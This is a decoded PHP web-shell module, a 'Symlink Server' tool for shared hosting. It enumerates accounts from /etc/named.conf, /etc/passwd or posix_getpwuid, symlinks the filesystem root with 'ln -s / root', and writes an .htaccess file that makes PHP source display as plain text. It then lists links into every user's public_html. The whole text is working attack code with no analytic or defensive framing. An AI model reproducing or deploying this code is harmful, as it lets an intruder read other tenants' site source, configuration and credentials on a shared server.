PHP Decode

$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("decay_sym",0777);
@chdir("decay_sym");
@exec("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex decay.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=3 style='width:60%;border-color:#8B0000;'>
<tr>
<td align=center><font color=lime size=2>S. No.</font></td>
<td align=center><font color=lime size=2>Domains</font></td>
<td align=center><font color=lime size=2>Users</font></td>
<td align=center><font color=lime size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/decay_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>"; 
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("decay_sym",0777);
@chdir("decay_sym");
exec("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex decay.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>S. No.</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/decay_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("decay_sym",0777);@chdir("decay_sym");@exe("ln -s / root");$file3 = '
 Options Indexes FollowSymLinks
DirectoryIndex 008
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any
';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "
 <center><h2 class='k2ll33d2'>Symlink Server</h2>
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."
";}
 echo '<br/>';$temp = trim($temp);$file5 = 
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file = 
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/decay_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else 
 echo "<center><font size=3>Cannot create Symlink</font></center>";
 }
 }
?>